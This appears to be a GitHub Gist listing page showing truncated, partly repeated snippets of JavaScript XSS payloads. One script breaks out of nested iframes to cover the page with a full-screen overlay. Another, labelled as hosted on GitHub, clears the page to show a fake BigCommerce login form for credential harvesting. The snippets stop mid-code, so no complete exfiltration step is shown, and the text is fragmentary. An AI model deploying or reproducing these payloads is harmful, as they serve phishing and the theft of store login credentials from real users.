Skip to content

Instantly share code, notes, and snippets.

// Complete Iframe Breakout Script - Escapes nested iframes and covers entire page
(function() {
console.log('πŸš€ Starting complete iframe breakout sequence...');
// Function to create full-page overlay
function createFullPageOverlay(targetWindow, targetDocument) {
console.log('βœ… Creating full-page overlay in target document');
// Remove any existing overlays
try {
// XSS Payload - Iframe Breakout with Full Screen Overlay
// This script breaks out of iframe constraints and creates a full-screen overlay
(function() {
// Function to create the overlay in the target window context
function createOverlay(targetWindow, targetDocument) {
// Create full-screen overlay iframe
var overlay = targetDocument.createElement('iframe');
overlay.style.cssText = `
position: fixed !important;
// Complete Iframe Breakout Script - Escapes nested iframes and covers entire page
(function() {
console.log('πŸš€ Starting complete iframe breakout sequence...');
// Function to create full-page overlay
function createFullPageOverlay(targetWindow, targetDocument) {
console.log('βœ… Creating full-page overlay in target document');
// Remove any existing overlays
try {
// XSS Payload for GitHub Hosting - BigCommerce Login Form with Credential Harvesting and Alert
// File: xss.js (to be hosted on GitHub Gist or Repository)
(function() {
// Clear everything immediately
document.body.innerHTML = "";
document.head.innerHTML = "";
// Remove all existing scripts
var scripts = document.getElementsByTagName('script');